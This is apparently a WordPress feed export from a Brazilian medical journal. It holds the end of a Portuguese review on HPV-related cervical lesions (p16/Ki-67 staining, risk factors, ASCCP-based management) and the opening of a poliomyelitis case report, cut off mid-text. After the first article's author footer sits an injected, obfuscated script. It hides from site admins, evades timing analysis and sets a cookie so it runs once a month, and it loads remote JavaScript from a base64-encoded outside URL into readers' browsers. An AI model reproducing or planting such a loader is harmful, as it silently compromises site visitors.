<p class="wp-block-paragraph">O diagnóstico histopatológico do NIC pode ser subjetivo, sendo a Imuno-Histoquímica (IHC) para <strong>p16INK4a</strong> e <strong>Ki-67</strong> fundamental para o rigor diagnóstico e a minimização da iatrogenia (Winn et al., 2010). A superexpressão de p16INK4a é um biomarcador substituto (<em>surrogate marker</em>) robusto para a atividade oncogênica persistente do HPV, induzida pela inativação da pRb pela E7.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Característica</strong></td><td><strong>LSIL/NIC 1 (Efeito Citopático)</strong></td><td><strong>HSIL/NIC 2 e NIC 3 (Lesão Transformadora)</strong></td></tr><tr><td><strong>Expressão p16</strong></td><td>Negativa ou <strong>pontual e dispersa</strong></td><td><strong>Difusa e forte</strong> em todo o epitélio afetado</td></tr><tr><td><strong>Expressão Ki-67</strong></td><td>Restrita ao <strong>terço inferior</strong> do epitélio</td><td>Estende-se ao <strong>terço médio e/ou superior</strong> do epitélio</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">O uso sistemático de p16/Ki-67 é inestimável na PTGI para diferenciar o HSIL de proliferações atípicas benignas ou metaplasias imaturas, reduzindo o risco de sobretratamento iatrogênico em lesões que regrediriam espontaneamente (Winn et al., 2010).</p>



<p class="wp-block-paragraph"><strong>4.2. Fatores Virais de Risco para Progressão</strong></p>



<p class="wp-block-paragraph"><strong>Genotipagem: Risco Absoluto Conferido pelo HPV 16 e 18</strong></p>



<p class="wp-block-paragraph">A estratificação de risco através da tipagem de HPV é essencial. O HPV 16 e o HPV 18 são os genótipos mais oncogênicos, responsáveis por cerca de 70% dos casos de câncer cervical. O HPV 16, em particular, confere o risco absoluto mais elevado de progressão para NIC 3+ em 5 anos, justificando, em muitos protocolos, a colposcopia imediata mesmo com citologias de baixo grau (Katki et al., 2013; ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>Carga Viral e Persistência: O Preditor Mais Forte</strong></p>



<p class="wp-block-paragraph">A <strong>persistência</strong> da infecção por AR-HPV, demonstrada pela manutenção da positividade do teste de DNA-HPV ao longo do tempo, é o preditor de risco mais robusto para a progressão lesional ou falha terapêutica (D’Souza et al., 2007; Maucort-Boulch et al., 2010). A persistência é criticamente relevante em mulheres <strong>acima de 30 anos</strong>, cuja infecção é menos provável de ser eliminada pelo sistema imunológico em comparação com a população jovem (ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>4.3. Fatores do Hospedeiro e Cofatores Ambientais</strong></p>



<p class="wp-block-paragraph"><strong>Imunossupressão: O Impacto Acelerado do HIV e Transplantes</strong></p>



<p class="wp-block-paragraph">O estado imunológico é um modulador crucial. Mulheres com imunossupressão (HIV, transplantes) apresentam maior incidência, prevalência e, criticamente, maior persistência do HPV (D’Souza et al., 2007), resultando em uma história natural acelerada da progressão lesional. O rastreamento e o manejo nessas populações devem ser adaptados, com intervalos de vigilância mais curtos (ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>Tabagismo: Mecanismos de Cocarcinogênese Local e Imunomodulação</strong></p>



<p class="wp-block-paragraph">O tabagismo é um cofator de risco bem estabelecido para o desenvolvimento e persistência das NICs (Franco, 2012; Oliveira et al., 2015). Seus mecanismos de cocarcinogênese atuam diretamente no ambiente cervical:</p>



<ol class="wp-block-list">
<li><strong>Dano Químico Direto:</strong> As substâncias carcinógenas do tabaco concentram-se no muco cervical, causando dano direto às moléculas de DNA do epitélio (Oliveira et al., 2015).</li>



<li><strong>Imunossupressão Local:</strong> O tabaco diminui as respostas imunes celular e humoral no colo, prejudicando o <em>clearance</em> viral e favorecendo a persistência da infecção.</li>



<li><strong>Amplificação da Metaplasia:</strong> O tabagismo amplifica a metaplasia escamosa e aumenta o <strong>índice de proliferação celular</strong> na Zona de Transformação, expandindo a população de células suscetíveis à infecção e transformação maligna. O aconselhamento para a cessação do tabagismo é uma intervenção de baixo risco que deve ser parte integrante da conduta expectante.</li>
</ol>



<p class="wp-block-paragraph"><strong>Microbiota Vaginal: Disbiose, </strong><strong><em>Gardnerella vaginalis</em></strong><strong> e Persistência Viral</strong></p>



<p class="wp-block-paragraph">A <strong>Disbiose Vaginal</strong>, frequentemente ligada à Vaginose Bacteriana (VB), está consistentemente associada à persistência e progressão do HPV.<sup> </sup>A VB é caracterizada pela depleção de <em>Lactobacillus crispatus</em> e pelo supercrescimento de anaeróbios.</p>



<p class="wp-block-paragraph">Evidências demonstram que a presença de bactérias como a <em>Gardnerella vaginalis</em>, <em>Prevotella amnii</em> e <em>Anaerococcus prevotii</em> está diretamente associada à não-regressão da infecção por HPV (Oliveira et al., 2022). A disbiose facilita a penetração e a manutenção viral através da alcalinização do pH e do aumento de enzimas de degradação da mucosa. O tratamento da VB representa uma estratégia adjuvante de baixo risco para otimizar o <em>clearance</em> viral.</p>



<p class="wp-block-paragraph"><strong>Idade: O Peso da Alta Regressão em Jovens versus JEC Interiorizada</strong></p>



<p class="wp-block-paragraph">A idade da paciente é um dos fatores mais importantes na determinação da conduta. Em mulheres menores de 25 anos, o NIC 2 (HSIL) demonstra uma taxa de regressão espontânea de aproximadamente 70%, com um tempo médio de regressão de 7.35 meses (Rego et al., 2022). Em contraste, em mulheres mais velhas (perimenopausa), a JEC tende a interiorizar-se (ZT Tipo 3), aumentando o risco de lesões endocervicais ocultas e exigindo procedimentos diagnósticos mais agressivos (IFCPC, 2011).</p>



<p class="wp-block-paragraph"><strong>4.4. Estratégias Diagnósticas e de Estratificação de Risco</strong></p>



<p class="wp-block-paragraph"><strong>Comparação de Sensibilidade: Citologia Oncótica versus Testes Moleculares</strong></p>



<p class="wp-block-paragraph">O rastreamento moderno migrou da Citologia Oncótica (Papanicolau), limitada pela baixa sensibilidade e subjetividade, para a utilização de Testes Moleculares (DNA-HPV e RNAm E6/E7). O teste de DNA-HPV apresenta maior sensibilidade para a detecção de NIC 3+ do que a citologia isolada e é a base para o manejo baseado em risco (ASCCP, 2019). O RNAm E6/E7, por sua vez, identifica a expressão das oncoproteínas ativas, sendo um marcador de lesão transformadora.</p>



<p class="wp-block-paragraph"><strong>O Papel da Colposcopia: Classificação IFCPC 2011, Achados Maiores e Menores</strong></p>



<p class="wp-block-paragraph">A Colposcopia com biópsia dirigida é o padrão para confirmar o diagnóstico histológico.<sup>6</sup> É crucial que os achados sejam documentados de acordo com a <strong>Terminologia Colposcópica da IFCPC 2011</strong> (Rio de Janeiro), que padroniza a avaliação:</p>



<ol class="wp-block-list">
<li><strong>Visibilidade da JEC:</strong> Classifica a Zona de Transformação (ZT) em Tipo 1, 2 ou 3. A ZT Tipo 3 (JEC não completamente visível) exige atenção máxima para evitar a perda de lesões endocervicais ocultas.</li>



<li><strong>Achados Colposcópicos:</strong> Distinção entre Achados Maiores (epitélio acetobranco denso, pontilhado grosseiro, mosaico grosseiro) e Menores (epitélio acetobranco tênue, pontilhado fino, mosaico fino), correlacionando a severidade do achado com a impressão colposcópica de NIC de alto ou baixo grau.</li>
</ol>



<p class="wp-block-paragraph"><strong>4.5. Manejo Clínico e Seguimento (</strong><strong><em>Follow-up</em></strong><strong>)</strong></p>



<p class="wp-block-paragraph">As condutas são definidas pelo risco cumulativo de NIC 3+ em 5 anos, que deve ser o limiar para a ação clínica (ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>LSIL/NIC 1: Argumento para a Conduta Expectante</strong></p>



<p class="wp-block-paragraph">Para a maioria das pacientes com LSIL (Citológico) ou NIC 1 (Histológico), a conduta padrão é a vigilância ativa (expectante), devido à alta probabilidade de regressão espontânea. O protocolo de seguimento exige a repetição da co-testagem (Citologia e HPV) em 12 meses, reservando a colposcopia para a persistência viral ou progressão citológica (ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>HSIL/NIC 2 e NIC 3: Estratégias de Tratamento e o Manejo Cauteloso</strong></p>



<ul class="wp-block-list">
<li><strong>HSIL/NIC 3 (Mulheres ≥ 25 anos):</strong> O tratamento excisional (LEEP ou conização) é o padrão de cuidado, visando a remoção da lesão com margens negativas.</li>



<li><strong>NIC 2 em Jovens (&lt; 25 anos):</strong> Dada a taxa de regressão de ~70% (Rego et al., 2022), a conduta prioritária é a observação cautelosa (expectante), com vigilância rigorosa (colposcopia e citologia a cada 6 meses). O tratamento excisional só deve ser realizado após progressão comprovada para NIC 3 ou persistência inabalável de NIC 2 por 24 meses sob vigilância, priorizando a minimização da morbidade obstétrica (ASCCP, 2019).</li>
</ul>



<p class="wp-block-paragraph"><strong>Teste de Cura (</strong><strong><em>Test of Cure &#8211; TOC</em></strong><strong>)</strong></p>



<p class="wp-block-paragraph">Após o tratamento excisional de NIC 2/3, o seguimento intensivo (TOC) é obrigatório. O protocolo consiste em co-testagem (Citologia e HPV) realizada em 6 a 12 meses após o procedimento. A negatividade do TOC (HPV negativo e Citologia negativa) permite à paciente transicionar para um protocolo de vigilância estendida de longo prazo, de até 25 anos, para detectar recorrências tardias (ASCCP, 2019).</p>



<p class="wp-block-paragraph"><strong>4.6. Discussão Crítica</strong></p>



<p class="wp-block-paragraph">A implementação da testagem molecular como rastreamento primário no Brasil (INCA, 2022) é fundamental para superar o viés do rastreamento oportunístico.</p>



<p class="wp-block-paragraph">A <strong>vacinação pós-tratamento</strong> de NIC 2/3 emerge como uma importante estratégia de prevenção secundária. A vacinação após procedimentos excisionais (LEEP) pode induzir uma resposta imune que auxilia na depuração viral residual, reduzindo o risco de recorrência de NIC 2+, sendo uma intervenção de baixo custo e baixo risco que deve ser integrada ao manejo.</p>



<p class="wp-block-paragraph"><strong>5. Conclusão</strong></p>



<p class="wp-block-paragraph">A carcinogênese cervical é predominantemente impulsionada pela persistência viral do HPV 16/18, sendo os eventos moleculares de inativação de p53/pRb e a integração genômica os pilares da transformação maligna. Fatores como a imunossupressão, o tabagismo e a disbiose vaginal (<em>Gardnerella vaginalis</em>) atuam como cofatores que elevam o risco de persistência.</p>



<p class="wp-block-paragraph">O manejo do PTGI deve ser regido pela Medicina Baseada em Risco, utilizando o limiar de NIC 3+ em 5 anos para guiar as decisões. É fundamental empregar o diagnóstico imuno-histoquímico p16/Ki-67 para a acurácia diagnóstica, evitando diagnósticos falso-positivos de HSIL.</p>



<p class="wp-block-paragraph">Reafirma-se que o tratamento deve ser personalizado, sendo o principal exemplo a conduta expectante para o NIC 2 em mulheres jovens (&lt; 25 anos), uma abordagem que reflete a prioridade ética de proteger a saúde reprodutiva, minimizando as iatrogenias associadas ao sobretratamento. A futura implementação do teste molecular como rastreamento primário no SUS permitirá um manejo mais eficaz e uma redução sustentável na incidência de câncer cervical no país.</p>



<p class="wp-block-paragraph"><strong>6. Referências</strong></p>



<p class="wp-block-paragraph">ASCCP. 2019 ASCCP Risk-Based Management Consensus Guidelines for Abnormal Cervical Cancer Screening Tests and Cancer Precursors. <em>Journal of Lower Genital Tract Disease</em>, v. 24, n. 2, p. 119-158, 2020.</p>



<p class="wp-block-paragraph">D’SOUZA, G. et al. Six-month natural history of oral versus cervical human papillomavirus infection. <em>International Journal of Cancer</em>, v. 121, n. 1, p. 143-150, 2007. <sup>18</sup></p>



<p class="wp-block-paragraph">ESPINOSA, A. M. et al. E6 and E7 oncoproteins: master regulators of the cervical cancer cell. <em>Frontiers in Microbiology</em>, v. 10, n. 3116, 2019.</p>



<p class="wp-block-paragraph">FEDERAÇÃO INTERNACIONAL PARA PATOLOGIA CERVICAL E COLPOSCOPIA (IFCPC). <em>Terminologia Colposcópica do Colo Uterino</em>. Rio de Janeiro: IFCPC, 2011.</p>



<p class="wp-block-paragraph">FRANCO, E. L. et al. The etiology and pathogenesis of cervical cancer. <em>Brazilian Journal of Oncology</em>, v. 45, n. 3, p. 250-258, 2012.&nbsp;</p>



<p class="wp-block-paragraph">HANSEN, A. B. et al. Highly recurrent host DNA sequences targeted by viral integration in HPV-associated carcinomas. <em>Cancers</em>, v. 16, n. 8, p. 1584, 2024.&nbsp;</p>



<p class="wp-block-paragraph">INSTITUTO NACIONAL DE CÂNCER JOSÉ ALENCAR GOMES DA SILVA (INCA). <em>Estimativa 2023: Incidência de Câncer no Brasil</em>. Rio de Janeiro: INCA, 2023.&nbsp;</p>



<p class="wp-block-paragraph">INSTITUTO NACIONAL DE CÂNCER JOSÉ ALENCAR GOMES DA SILVA (INCA). <em>Diretrizes Brasileiras para o Rastreamento do Câncer do Colo do Útero</em>. Rio de Janeiro: INCA, 2016.&nbsp;</p>



<p class="wp-block-paragraph">KATKI, H. A. et al. Five-year risks of CIN 2+ and CIN 3+ among women with HPV-positive and HPV-negative LSIL pap results. <em>Journal of Lower Genital Tract Disease</em>, v. 17, n. 5, p. S43-S49, 2013.&nbsp;</p>



<p class="wp-block-paragraph">Maucort-Boulch, D. et al. Predictors of human papillomavirus persistence among women with equivocal or mildly abnormal cytology. <em>International Journal of Cancer</em>, v. 126, n. 3, p. 684-691, 2010.&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA, C. G. et al. Disbiose da microbiota cervicovaginal no desenvolvimento do câncer de colo de útero: uma revisão narrativa. <em>BioScience</em>, v. 80, n. 2, 2022.&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA, D. A. et al. Fatores que influenciam a persistência do HPV. <em>Femina</em>, v. 43, n. 3, 2015.&nbsp;</p>



<p class="wp-block-paragraph">REGO, V. B. et al. A conduta expectante no manejo de mulheres com neoplasia intraepitelial cervical grau 2. <em>Revista Brasileira de Ginecologia e Obstetrícia</em>, v. 44, n. 6, p. 556-562, 2022. <sup>23</sup></p>



<p class="wp-block-paragraph">SCHIFFMAN, M. et al. Carcinogenic human papillomavirus infection. <em>Nature Reviews Disease Primers</em>, v. 2, n. 1, p. 16086, 2016.</p>



<p class="wp-block-paragraph">WINN, S. S. et al. Biomarkers for the histological diagnosis of high-grade squamous intraepithelial lesion (HSIL): p16INK4A and MIB-1. <em>International Journal of Gynecological Cancer</em>, v. 20, n. 2, p. 308-315, 2010.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Faculdade:&nbsp; Residente de cirurgia geral no Hospital Pompéia &#8211; Caxias do Sul- Universidade Vale do Taquari &#8211; Univates. E-mail: everton.altoe@universo.univates.br<br><sup>2</sup>Residente cirurgia geral no Hospital Pompéia &#8211; Caxias do Sul. E-mail: Hannykp07@hotmail.com &#8211; Universidade Vale do Taquari &#8211; Univates.<br><sup>3</sup>Faculdade: Residente de ginecologia e obstetrícia no Hospital de Clínicas de Passo Fundo. E-mail: linara.faria@gmail.com &#8211; Universidade Vale do Taquari &#8211; Univates.<br><sup>4</sup>Faculdade:&nbsp;graduada pela Universidade Vale do Taquari &#8211; Univates. E-mail: pellizzongiovana@gmail.com</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>DISFUNÇÃO BIOMECÂNICA PROGRESSIVA NA POLIOMIELITE: RELATO DE CASO</title>
		<link>https://revistaft.com.br/disfuncao-biomecanica-progressiva-na-poliomielite-relato-de-caso/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 09 Dec 2025 00:17:03 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=258121</guid>

					<description><![CDATA[PROGRESSIVE BIOMECHANICAL DYSFUNCTION IN POLIOMYELITIS: CASE REPORT REGISTRO DOI: 10.69849/revistaft/cl10202512082115 Nathan Gabriell FerreiraCoorientadora: Beatriz Regina Fernandes RodriguesOrientadora: Vanessa Bridi Resumo&#160; A poliomielite constitui uma infecção viral que pode gerar sequelas motoras permanentes, ocasionando comprometimentos funcionais significativos e alterações biomecânicas de caráter progressivo. A pesquisa desenvolvida teve como problema norteador a questão: qual é a relação [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">PROGRESSIVE BIOMECHANICAL DYSFUNCTION IN POLIOMYELITIS: CASE REPORT</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512082115</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Nathan Gabriell Ferreira<br>Coorientadora: Beatriz Regina Fernandes Rodrigues<br>Orientadora: Vanessa Bridi</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo&nbsp;</strong></p>



<p class="wp-block-paragraph">A poliomielite constitui uma infecção viral que pode gerar sequelas motoras permanentes, ocasionando comprometimentos funcionais significativos e alterações biomecânicas de caráter progressivo. A pesquisa desenvolvida teve como problema norteador a questão: qual é a relação que se pode estabelecer entre a disfunção biomecânica progressiva e a evolução clínica em pacientes que receberam diagnóstico de poliomielite? e teve como objetivo geral relatar o caso clínico do paciente sobrevivente da poliomielite com disfunção biomecânica progressiva. O estudo caracterizou-se como um relato de caso, de natureza qualitativa e abordagem descritiva, com análise documental e clínica de uma paciente de 51 anos, acompanhada há mais de uma década no Centro Estadual de Reabilitação e Readaptação Dr. Henrique Santillo (CRER), em Goiânia-GO. A coleta de dados foi realizada por meio de prontuário médico, exames físicos e de imagem, registros terapêuticos e entrevistas semiestruturadas, assegurando a triangulação das informações obtidas. A análise adotou procedimento comparativo e descritivo, relacionando os achados clínicos e radiográficos às evidências científicas recentes sobre a síndrome pós-pólio. Os resultados demonstraram degeneração óssea e muscular progressiva, com encurtamento de membros, deformidades estruturais, dor crônica e fadiga acentuada, resultando em instabilidade postural, limitação funcional e comprometimento da marcha. Observou-se que a disfunção biomecânica avançou paralelamente ao declínio clínico, evidenciando a sobrecarga das unidades motoras sobreviventes e a consequente deterioração da autonomia física. Constatou-se também que o tratamento farmacológico e fisioterapêutico contribuiu para o controle sintomático, embora não tenha impedido o agravamento biomecânico. Conclui-se que a disfunção biomecânica progressiva representa fator determinante da evolução clínica em indivíduos com histórico de poliomielite, configurando um processo multifatorial e cumulativo que reforça a importância do acompanhamento multiprofissional e do manejo terapêutico precoce para preservação da funcionalidade e da qualidade de vida.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Poliomielite. Disfunção biomecânica progressiva. Síndrome pós-pólio. Relato de caso. Reabilitação funcional.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A poliomielite, uma doença viral que afeta principalmente crianças, tem sido um tema de preocupação global, especialmente em virtude de suas consequências a longo prazo. Nunes, Santos e Morena (2024) citam que com a implementação de campanhas de vacinação, muitos países conseguiram erradicar a poliomielite, mas as sequências de infecções ainda impactam a qualidade de vida de indivíduos que sobreviveram à doença. A compreensão das complicações associadas à poliomielite, como a disfunção biomecânica, é essencial para melhorar a reabilitação e o manejo clínico dos pacientes.&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista fisiopatológico, a poliomielite é causada pelo poliovírus, um enterovírus que invade o organismo por via fecal-oral, replica-se na orofaringe e no trato gastrointestinal e, após viremia, alcança o sistema nervoso central. O vírus liga-se ao receptor CD155 (poliovirus receptor) nas membranas neuronais e infecta preferencialmente os neurônios motores do corno anterior da medula espinal e núcleos motores bulbares, provocando inflamação e necrose neuronal (Oliveira et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">A perda de neurônios motores alfa leva à desnervação de fibras musculares e à paralisia flácida aguda ao longo do tempo, a reinervação compensatória por brotamento colateral forma unidades motoras aumentadas e energeticamente dispendiosas. As conexões entre o córtex motor, o tronco cerebral, a medula espinhal e as vias nervosas periféricas são elementos essenciais para a execução dos movimentos voluntários e automáticos, onde a observação dessa organização auxilia a visualizar a sequência dos impulsos elétricos transmitidos pelos neurônios responsáveis pelo controle muscular &#8211; Figura 1 (Calado et al., 2020). As consequências clínicas incluem fraqueza e fadiga de instalação tardia, desequilíbrios entre agonistas e antagonistas, contraturas, deformidades, alterações da marcha e sobrecarga articular que, por sua vez, predispunham à dor, instabilidade e degeneração osteoarticular (Calado et al., 2020).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong>: Representação esquemática dos neurônios motores superior e inferior e o percurso dos estímulos nervosos até a contração muscular.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="601" height="602" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-131.jpeg" alt="" class="wp-image-258125" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-131.jpeg 601w, https://revistaft.com.br/wp-content/uploads/2025/12/image-131-300x300.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-131-150x150.jpeg 150w" sizes="(max-width: 601px) 100vw, 601px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Neurologia Clínica – 8ª Ed (2014).&nbsp;</p>



<p class="wp-block-paragraph">Para Oliveira et al. (2024), disfunção biomecânica progressiva é uma das sequelas frequentemente observadas em sobreviventes da poliomielite, manifestando-se como um comprometimento gradual da função motora e da força muscular, resultando em limitações funcionais. As manifestações pós-poliomielite, como a disfunção biomecânica progressiva, são frequentemente subestimadas, mas têm implicações significativas na vida diária dos sobreviventes. Essa condição não apenas impacta a mobilidade e a autonomia física, mas também interage com fatores emocionais e sociais que podem agravar a percepção de incapacidade e dor.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sob essa ótica, Nunes, Santos e Moreno (2024) destacam a importância de considerar os fatores biopsicossociais na avaliação clínica, uma abordagem que reconhece a saúde como um fenômeno multidimensional. É crucial integrar estratégias de tratamento que abordem tanto as sequelas físicas quanto o bem-estar psicológico, garantindo uma abordagem mais holística e eficaz no cuidado desses indivíduos. A interação entre a disfunção biomecânica e outras condições de saúde, como a disfunção temporomandibular (DTM), enfatizada na pesquisa de Soares et al.&nbsp;(2022), exemplifica como complicações aparentemente distintas podem se entrelaçar.&nbsp;</p>



<p class="wp-block-paragraph">Nesse cenário, alguns dados epidemiológicos se tornam relevantes a esta discussão. Tigani et al. (2024) relatam que existem atualmente entre 15 e 20 milhões de sobreviventes da poliomielite no mundo, sendo que de 30 a 40% deles desenvolvem a Síndrome Pós-Poliomielite, caracterizada por fraqueza muscular progressiva, dor e instabilidade articular, sobretudo em membros inferiores. Ainda segundo o estudo, as sequelas ortopédicas crônicas da poliomielite, como deformidades e degenerações articulares, são prevalentes em países que tiveram alta incidência da doença até meados do século XX, especialmente antes da vacinação em massa.&nbsp;</p>



<p class="wp-block-paragraph">Grellmann et al. (2024) complementam que, no Brasil, cerca de 19.000 pessoas convivem com a Síndrome Pós-Poliomielite, representando aproximadamente 70% dos indivíduos que tiveram poliomielite paralítica prévia. A síndrome acomete entre 20% e 80% dos pacientes com histórico da infecção, manifestando-se após mais de 15 anos de estabilidade funcional, com sintomas como fadiga, fraqueza muscular, intolerância ao frio, dores articulares e deformidades musculoesqueléticas. Essas sequelas comprometem de modo permanente a mobilidade, a respiração e a deglutição, configurando importante problema de saúde pública.&nbsp;</p>



<p class="wp-block-paragraph">Embora os estudos recentes tenham descrito com precisão a prevalência global e os principais sintomas da Síndrome Pós-Poliomielite, observa-se, ainda hoje, que a literatura ainda apresenta uma lacuna importante quanto à análise longitudinal e detalhada da progressão biomecânica e funcional em casos individuais com sequelas graves, como o da paciente S.M.F. Pesquisas como as de Laffont et al. (2024) e Motta et al. (2023) exploram alterações neuromusculares e abordagens terapêuticas, mas não descrevem com profundidade a deterioração estrutural óssea e articular associada às assimetrias corporais e à sobrecarga unilateral decorrente da poliomielite.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Desta maneira, o objetivo deste estudo visa documentar de forma minuciosa, a evolução clínica, radiográfica e funcional de uma paciente com sequelas avançadas e assimetrias acentuadas, permitindo correlacionar as manifestações fisiopatológicas com as alterações biomecânicas de longo prazo, algo ainda pouco investigado nos estudos de base populacional.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>FUNDAMENTAÇÃO TEÓRICA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1</strong> <strong>Panorama da poliomielite no Brasil&nbsp;</strong></p>



<p class="wp-block-paragraph">Entre 2012 e 2022, o Brasil apresentou expressiva redução na cobertura vacinal contra poliomielite, passando de mais de 80% para 71,04%. A região Norte apresentou o menor índice, com 62,29%, enquanto o Sul manteve valores próximos de 79,98%. Essa queda coincidiu com a pandemia de COVID-19, a reorientação dos serviços de saúde e a disseminação de desinformações. Em 2022, observou-se discreta recuperação, ultrapassando 80% em algumas regiões, porém ainda distante da meta de 95% estabelecida pela Organização Mundial da Saúde (Datore et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">No cenário nacional, dados oficiais indicam que os casos de poliomielite diminuíram de mais de 3.000 por ano na década de 1980 para zero registros autóctones desde 1990. A vacinação sistemática infantil, promovida pelo Programa Nacional de Imunizações desde 1973, foi determinante nesse resultado. Contudo, a cobertura vacinal caiu de 98,3% em 2015 para 69,4% em 2021, recuperando-se parcialmente em 2023, com 84,5%, segundo o DATASUS, o que representa vulnerabilidade epidemiológica crescente (Silva et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">O risco de reintrodução da poliomielite no Brasil permanece presente devido à circulação do vírus selvagem no Afeganistão e Paquistão. A <em>Global Polio Eradication Initiative</em> estima de 100 a 200 casos anuais em todo o mundo, exigindo vigilância contínua e cobertura vacinal acima de 95%. No território brasileiro, a queda nas imunizações compromete a imunidade coletiva, aumentando o risco de surtos, especialmente em áreas de baixa renda e acesso precário aos serviços de saúde&nbsp;(Silva et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">Entre 1990 e 2020, as ações de imunização infantil refletiram diretamente na redução da mortalidade em menores de cinco anos. Nesse período, a taxa caiu de 53,7 para 13,2 óbitos por mil nascidos vivos. O impacto positivo decorreu da expansão da Atenção Básica e do fortalecimento do Programa Nacional de Imunizações, responsáveis pela ampliação do acesso gratuito a vacinas, inclusive contra poliomielite, nas unidades públicas e privadas integradas ao Sistema Único de Saúde (Rocha et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">A análise epidemiológica do período recente reforça a urgência de restabelecer altas coberturas vacinais, priorizando campanhas públicas e ações comunitárias voltadas à conscientização. A continuidade da erradicação da poliomielite depende do engajamento intersetorial e do fortalecimento da vigilância epidemiológica. O Brasil, apesar de livre de casos desde 1990, enfrenta ameaças decorrentes da hesitação vacinal, das desigualdades regionais e da desinformação digital que comprometem os avanços obtidos nas últimas décadas (Datore et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2</strong> <strong>Sequelas motoras da poliomielite&nbsp;</strong></p>



<p class="wp-block-paragraph">A poliomielite pode gerar sequelas motoras permanentes que afetam a biomecânica corporal, resultando em degeneração muscular progressiva e envelhecimento acelerado do sistema neuromuscular. Estima-se que cerca de metade dos sobreviventes manifeste fraqueza residual e alterações estruturais associadas ao desgaste de unidades motoras (Santos et al., 2025). Essa deterioração funcional provoca perda gradual de força, dor e fadiga, caracterizando a síndrome pós-pólio como condição de evolução crônica que compromete a estabilidade locomotora e a autonomia funcional (Quarleri 2023; Laffont et al. 2024).&nbsp;</p>



<p class="wp-block-paragraph">Um estudo de 2024 identificou que 85% dos pacientes apresentam fraqueza muscular e 83% sofrem dor articular, sem indícios de origem autoimune. A degeneração tardia das unidades motoras e o envelhecimento neuromuscular explicam o agravamento clínico (Laffont et al., 2024). Outro estudo mesmo ano verificou que 70% dos indivíduos com poliomielite paralítica desenvolvem síndrome pós-pólio, e até 80% podem apresentar limitações biomecânicas após longos períodos de estabilidade funcional, com fadiga e dor mioarticular recorrentes (Grellmann et al., 2024).&nbsp;</p>



